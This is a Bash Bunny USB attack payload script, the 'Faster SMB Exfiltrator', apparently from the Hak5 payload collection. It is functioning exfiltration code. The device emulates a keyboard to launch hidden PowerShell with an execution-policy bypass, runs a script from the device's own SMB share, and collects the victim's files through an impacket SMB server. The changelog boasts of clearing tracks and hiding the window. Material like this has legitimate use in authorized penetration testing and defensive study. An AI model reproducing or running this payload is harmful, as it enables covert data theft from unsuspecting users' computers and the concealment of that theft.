#!/bin/bash
#
# Title:         Faster SMB Exfiltrator
# Author:        Hak5Darren
# Props:         ImNatho, mike111b, madbuda
# Version:       1.1
# Category:      Exfiltration
# Target:        Windows XP SP3+ (Powershell)
# Attackmodes:   HID, Ethernet
#
# CHANGELOG
# =========
# Rewrite of the original SMB Exfiltrator payload with:
# - Faster copying, using robocopy multithreaded mode
# - Faster finish, using a EXFILTRATION_COMPLETE file
# - Offload logic to target PC for accurate date/time
# - Clears tracks by default without second run dialog
# - Test-Connection handling by ICMP (no lame sleeps)
# - Hidden powershell window by default
#
# REQUIREMENTS
# ============
# Needs impacket to be copied to /tools/impacket and installed
# Option A:
#   1. Download impacket from https://github.com/CoreSecurity/impacket
#   2. Copy impacket folder to /tools on the Bash Bunny flash drive
#   3. Boot Bash Bunny into arming mode and connect to console via serial
#   4. Issue "python /tools/impacket/setup.py install"
# Option B:
#   1. Download impacket deb package 
#   2. Copy impacket.deb to /tools on the Bash Bunny flash drive
#   3. Boot Bash Bunny into arming mode. Impacket will install automatically.
# 
# LED STATUS
# ==========
# FAIL........Failed to find dependencies
# STAGE1......HID Stage
# STAGE2......Ethernet Stage
# SPECIAL.....Receiving Files
# CLEANUP.....Moving Liberated Files
# FINISH......Finished
#
# OPTIONS
# =======
# Exfiltration options configured from included s.ps1 script



######## INITIALIZATION ########
REQUIRETOOL impacket
GET SWITCH_POSITION
# Make temporary loot directory
mkdir -p /loot/smb/
# Delete any old exfiltration data
rm -rf /loot/smb/*
# Copy new powershell payload to smb share
cp /root/udisk/payloads/$SWITCH_POSITION/s.ps1 /loot/smb/
# Make loot directory on USB Disk
mkdir -p /root/udisk/loot/smb_exfiltrator



######## HID STAGE ########
# Runs hidden powershell which executes \\172.16.64.1\s\s.ps1 when available
GET HOST_IP
LED STAGE1
ATTACKMODE HID
RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"While (\$true) { If ((New-Object net.sockets.tcpclient ($HOST_IP,445)).Connected) { \\\\$HOST_IP\\s\\s.ps1; exit } }\""



######## ETHERNET STAGE ########
LED STAGE2
ATTACKMODE RNDIS_ETHERNET
# Start the SMB Server
python /tools/impacket/examples/smbserver.py -comment 'That Place Where I Put That Thing That Time' s /loot/smb >> /loot/smbserver.log &
# Re-enable ICMP/echo replies to trip the powershell stager
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all
LED B 100
# Wait until files are done copying.
while ! [ -f /loot/smb/EXFILTRATION_COMPLETE ]; do sleep 1; done



######## CLEANUP ########
LED CLEANUP
# Delete EXFILTRATION_COMPLETE file
rm -rf /loot/smb/EXFILTRATION_COMPLETE
# Move files to udisk loot directory
mv /loot/smb/e/* /root/udisk/loot/smb_exfiltrator
# Clean up temporary loot directory
rm -rf /loot/smb/e/*
# Sync file system
sync


######## FINISH ########
# Trap is clean
LED FINISH
